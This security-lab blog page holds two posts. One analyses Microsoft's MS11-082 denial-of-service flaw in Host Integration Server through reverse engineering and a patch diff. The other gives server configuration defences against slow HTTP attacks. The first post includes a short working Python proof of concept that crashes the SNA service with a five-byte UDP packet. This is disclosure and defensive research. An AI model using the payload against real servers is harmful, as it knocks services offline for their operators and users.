Skip navigation
Previous Next

Security Labs

November 2, 2011
0

On October’s Patch Tuesday 2011, Microsoft released Security Bulletin MS11-082 to fix “Access of Unallocated Memory DoS Vulnerability” within Microsoft Host Integration Server. According to the security advisory, a remote, anonymous attacker who exploited this vulnerability could cause the affected system's SNA Server service to stop responding to new requests. This is caused because the snabase.exe crashes and also kills snarpcsv.exe and mngagent.exe due to the dependencies between them.

 

To get a better understanding of the cause of this vulnerability, we have reverse engineered the affected server and found the condition that triggers the DoS. This article also has a short Python PoC which uses CVE-2011-2008.

 

1. Vulnerability Analysis and exploit conditions

 

The Host Integration server snabase.exe listens on UDP port 1478 or TCP ports 1477 and 1478.  Figure 1 shows the code path that it takes when a UDP packet is received and EAX points to the received packet. At location 01029B73, the server moves the third byte  (EAX+2) to ECX and then compares it with different values. If the value is greater than 5 the code jumps to 01029EAC. If the value is equal to 5 it jumps to 01029E77. The value can now only be in range 1-4 at 01029B90. Next it decrements the value by 1, step by step, to check if it is 1 , 2, 3 or 4. This is a typical switch statement which compares the value and calls different handlers. The compiler replaces the switch statement with the sub/dec instructions to optimize the program execution.

 


Figure 1: Switch statement to handle the third byte.

 

For a successful exploit there are two conditions that need to be satisfied. The first condition is that the third byte is 0x1. The execution will then goto 01029C42 and then 0101F99D.

 

The 4th and 5th bytes of the packet contain the “entries” in this message. The server reads the values and then checks these entries one by one in a loop. But if the server was told that there are more than 0x4B entries then the server will try to access memory locations that are not allocated resulting in the process getting terminated. This is the second condition that should be satisfied for a successful exploit. The number of entries must be greater than 0x4b.

 


Figure 2: The checking for number of entries.

 

2. Exploit

 

For the PoC both the conditions as stated above need to satisfied which just takes 5 bytes. What we need is to set the 3rd byte to 0x1 and then set 4th and 5th byte greater than 0X4B. The first and second byte does not affect our exploit, so any value will work. The Python script should like this:

 

#!/usr/bin/python
import socket, sys
from struct import pack
target = sys.argv[1]
port = int(sys.argv[2])
request = "\x00\x00\x01\x4C\x00"
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
    print "[+] Sending request"
    s.sendto(request, (target, port))
except:
print "[X] Unable to connect to %s" % target

 


Figure 3: Accessing unallocated memory (Process dies)

 

3. How does the Patch Fix this issue?

 

By using binary diff tool we can see that the patch added a new verify function at 67481133:

 

 

The function takes the length and address of the UDP package as parameters.

 


Figure 4: The checking for number of entries.

 

 

The packet will be considered as invalid unless the function 67480AE6 returns 0 (return value is stored in EAX). This function first checks the length of the UDP packet. It return error(EAX not 0) if the length is less than 3. Then there is another switch statement on the third byte of the packet.

 


Figure 5: The checking for number of entries.

 

If the third byte is 0x1 the function jumps to 67480B3F. The value at dwEnableTraces is always 0x6. This means that the patch will drop all packets whose third byte is 0x1. My guess is that this is a temporary fix from Microsoft.  EAX will set to 0 at 67480B46 and jump to 67480BE4. At 67480B46 the program will increase EAX by 1 before return and in this way sanitize the input before calling the function that crashed earlier.

 

Conclusion

 

The Host Integration Server will crash when a remote attacker sends 5 bytes of malicious UDP packet. There are also other vulnerabilities fixed by MS11-082 which are not analyzed in this article. We recommend customers to scan their environment for QID 90748 and apply this security update as soon as possible.

3

Slow HTTP attacks are denial-of-service (DoS) attacks in which the attacker sends HTTP requests in pieces slowly, one at a time to a Web server. If an HTTP request is not complete, or if the transfer rate is very low, the server keeps its resources busy waiting for the rest of the data. When the server’s concurrent connection pool reaches its maximum, this creates a DoS. Slow HTTP attacks are easy to execute because they require only minimal resources from the attacker.

 

In this article, I describe several simple steps to protect against slow HTTP attacks and to make the attacks more difficult to execute.

 

Previous articles in the series cover:

 

Protection Strategies

 

To protect your Web server against slow HTTP attacks, I recommend the following:

  • Reject / drop connections with HTTP methods (verbs) not supported by the URL.
  • Limit the header and message body to a minimal reasonable length. Set tighter URL-specific limits as appropriate for every resource that accepts a message body.
  • Set an absolute connection timeout, if possible. Of course, if the timeout is too short, you risk dropping legitimate slow connections; and if it’s too long, you don’t get any protection from attacks. I recommend a timeout value based on your connection length statistics, e.g. a timeout slightly greater than median lifetime of connections should satisfy most of the legitimate clients.
  • The backlog of pending connections allows the server to hold connections it’s not ready to accept, and this allows it to withstand a larger slow HTTP attack, as well as gives legitimate users a chance to be served under high load. However, a large backlog also prolongs the attack, since it backlogs all connection requests regardless of whether they’re legitimate. If the server supports a backlog, I recommend making it reasonably large to so your HTTP server can handle a small attack.
  • Define the minimum incoming data rate, and drop connections that are slower than that rate. Care must be taken not to set the minimum too low, or you risk dropping legitimate connections.

 

Server-Specific Recommendations

 

Applying the above steps to the HTTP servers tested in the previous article indicates the following server-specific settings:

 

Apache

  • Using the <Limit> and <LimitExcept> directives to drop requests with methods not supported by the URL alone won’t help, because Apache waits for the entire request to complete before applying these directives. Therefore, use these parameters in conjunction with the LimitRequestFields, LimitRequestFieldSize, LimitRequestBody, LimitRequestLine, LimitXMLRequestBody directives as appropriate. For example, it is unlikely that your web app requires an 8190 byte header, or an unlimited body size, or 100 headers per request, as most default configurations have. 
  • Set reasonable TimeOut and KeepAliveTimeOut directive values. The default value of 300 seconds for TimeOut is overkill for most situations.
  • ListenBackLog’s default value of 511 could be increased, which is helpful when the server can’t accept connections fast enough.
  • Increase the MaxRequestWorkers directive to allow the server to handle the maximum number of simultaneous connections.
  • Adjust the AcceptFilter directive, which is supported on FreeBSD and Linux, and enables operating system specific optimizations for a listening socket by protocol type. For example, the httpready Accept Filter buffers entire HTTP requests at the kernel level.

 

A number of Apache modules are available to minimize the threat of slow HTTP attacks. For example, mod_reqtimeout’s RequestReadTimeout directive helps to control slow connections by setting timeout and minimum data rate for receiving requests.

 

I also recommend switching apache2 to experimental Event MPM mode where available.  This uses a dedicated thread to handle the listening sockets and all sockets that are in a Keep Alive state, which means incomplete connections use fewer resources while being polled.

 

Nginx

 

lighttpd

  • Restrict request verbs using the $HTTP["request-method"] field in the configuration file for the core module (available since version 1.4.19).
  • Use server.max_request-size to limit the size of the entire request including headers.
  • Set server.max-read-idle to a reasonable minimum so that the server closes slow connections. No absolute connection timeout option was found.

 

IIS 6

 

IIS 7

  • Limit request attributes is through the <RequestLimits> element, specifically the maxAllowedContentLength, maxQueryString, and maxUrl attributes.
  • Set <headerLimits> to configure the type and size of header your web server will accept.
  • Tune the connectionTimeout, headerWaitTimeout, and minBytesPerSecond attributes of the <limits> and <WebLimits> elements to minimize the impact of slow HTTP attacks.

 

What’s Next

 

The above are the simplest and most generic countermeasures to minimize the threat. Tuning the Web server configuration is effective to an extent, although there is always a tradeoff between limiting slow HTTP attacks and dropping legitimately slow requests. This means you can never prevent attacks simply using the above techniques.

 

Beyond configuring the web server, it’s possible to implement other layers of protection like event-driven software load balancers, hardware load balancers to perform delayed binding, and intrusion detection/prevention systems to drop connections with suspicious patterns.

 

However, today, it probably makes more sense to defend against specific tools rather than slow HTTP attacks in general. Tools have weaknesses that can be identified and and exploited when tailoring your protection. For example, slowhttptest doesn’t change the user-agent string once the test has begun, and it requests the same URL in every HTTP request. If a web server receives thousands of connections from the same IP with the same user-agent requesting the same resource within short period of time, it obviously hints that something is not legitimate. These kinds of patterns can be gleaned from the log files, therefore monitoring log files to detect the attack still remains the most effective countermeasure.

Bookmarked By (1)

Actions